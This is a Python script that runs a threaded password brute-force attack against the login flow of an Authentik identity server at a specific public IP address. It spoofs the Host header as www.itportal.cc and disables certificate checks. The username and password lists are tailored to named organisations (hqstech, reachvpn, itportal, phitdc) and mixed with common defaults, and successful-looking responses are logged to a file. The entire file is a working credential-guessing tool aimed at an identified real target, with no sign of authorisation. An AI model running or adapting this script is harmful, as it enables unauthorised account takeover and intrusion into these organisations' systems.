import requests, json, urllib3, time, concurrent.futures, threading, sys
urllib3.disable_warnings()
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
JH = {"Host":"www.itportal.cc","Content-Type":"application/json"}

usernames = [
 "akadmin","admin","administrator","root","phitdc","itadmin","it","sysadmin",
 "support","info","helpdesk","hr","hqstech","reachvpn","itportal","operator",
 "fansky","ops","noc","network","vpn","monitor","grafana","litellm","pam","pam360",
 "phitdc@hqstech.com","admin@hqstech.com","akadmin@hqstech.com","administrator@hqstech.com",
 "root@hqstech.com","itadmin@hqstech.com","it@hqstech.com","support@hqstech.com",
 "info@hqstech.com","helpdesk@hqstech.com","hr@hqstech.com","sysadmin@hqstech.com",
 "ops@hqstech.com","noc@hqstech.com","network@hqstech.com","monitor@hqstech.com",
 "phitdc@reachvpn.com","admin@reachvpn.com","akadmin@reachvpn.com","itadmin@reachvpn.com",
 "phitdc@itportal.cc","admin@itportal.cc","akadmin@itportal.cc",
]

passwords = [
 "admin","password","admin123","administrator","changeme","Password1","P@ssw0rd",
 "P@ssword1","welcome","welcome123","123456","12345678","123456789","1234567890",
 "password123","qwerty","qwerty123","letmein","root","toor","default","secret","master",
 "pass123","test","test123","123123","000000","111111","11111111","abc123","password1",
 "Admin@123","Admin123","Admin@1234","Admin1234","P@ssw0rd123","Passw0rd","Passw0rd!",
 "Password123","Password1234","Password@123","Password@1234","P@ssw0rd!","Welcome1",
 "Welcome123","Welcome@123","ChangeMe123","Changeme1!","Welcome@2025","Welcome@2026",
 "hqstech","HQSTech","hqstech123","Hqstech123","Hqstech@123","Hqstech@2025","Hqstech@2026",
 "hqstech2025","hqstech2026","reachvpn","Reachvpn","reachvpn123","Reachvpn123","Reachvpn@123",
 "reachvpn2025","reachvpn2026","itportal","ITPortal","itportal123","Itportal123","Itportal@123",
 "itportal2025","itportal2026","phitdc","phitdc123","Phitdc123","Phitdc@123","phitdc2025",
 "phitdc2026","authentik","Authentik","Authentik@123","authentik123","Akadmin@123",
 "PHITDC@2025","HQSTech@2025","Phitdc@2025","Reachvpn@2025","fansky","fansky123","Fansky@123",
]

FAIL = {"ak-stage-password", "ak-stage-access-denied", "ak-stage-identification"}
lock = threading.Lock()
counters = {"total":0, "interesting":0}
interesting_log = []

def do_chunk(task):
    user, pw_chunk = task
    s = requests.Session(); s.verify=False
    out = []
    try:
        s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-identification","uid_field":user}),
               allow_redirects=False, timeout=25)
    except Exception as e:
        with lock: counters["total"] += len(pw_chunk)
        return [(p, "ERR", "setup", str(e)) for p in pw_chunk]
    for p in pw_chunk:
        try:
            r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-password","password":p}),
                       allow_redirects=False, timeout=25)
            try: j = r.json()
            except: j = {}
            comp = j.get("component")
            status = r.status_code
            loc = r.headers.get("Location")
            with lock: counters["total"] += 1
            if comp in FAIL and status == 200 and not loc:
                out.append((p, status, comp, "fail"))
            else:
                d = json.dumps({"status":status,"component":comp,"location":loc,
                                "response_errors":j.get("response_errors"),"error_message":j.get("error_message"),
                                "to":j.get("to"),"body":r.text[:500]})
                with lock:
                    counters["interesting"] += 1
                    interesting_log.append(f"user={user} pwd={p} status={status} comp={comp} detail={d}")
                out.append((p, status, comp, d))
        except Exception as e:
            with lock: counters["total"] += 1
            out.append((p, "ERR", "post", str(e)))
    return out

def build_tasks():
    tasks = []
    for u in usernames:
        for i in range(0, len(passwords), 4):
            tasks.append((u, passwords[i:i+4]))
    return tasks

def run(workers, max_tasks=None):
    tasks = build_tasks()
    if max_tasks: tasks = tasks[:max_tasks]
    t0 = time.time()
    done = 0
    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futs = [ex.submit(do_chunk, t) for t in tasks]
        for f in concurrent.futures.as_completed(futs):
            res = f.result()
            done += 1
            for (p,status,comp,detail) in res:
                if detail != "fail":
                    print(f"[INTERESTING] {detail}", flush=True)
            if done % 50 == 0:
                el = time.time()-t0
                print(f"[progress] chunks_done={done}/{len(tasks)} attempts={counters['total']} interesting={counters['interesting']} rate={counters['total']/el:.1f}/s", flush=True)
    el = time.time()-t0
    print(f"\n=== DONE total_attempts={counters['total']} interesting={counters['interesting']} elapsed={el:.0f}s rate={counters['total']/el:.1f}/s ===", flush=True)
    if interesting_log:
        open("interesting.txt","w").write("\n".join(interesting_log))

if __name__ == "__main__":
    workers = int(sys.argv[1]) if len(sys.argv)>1 else 20
    max_tasks = int(sys.argv[2]) if len(sys.argv)>2 else None
    run(workers, max_tasks)
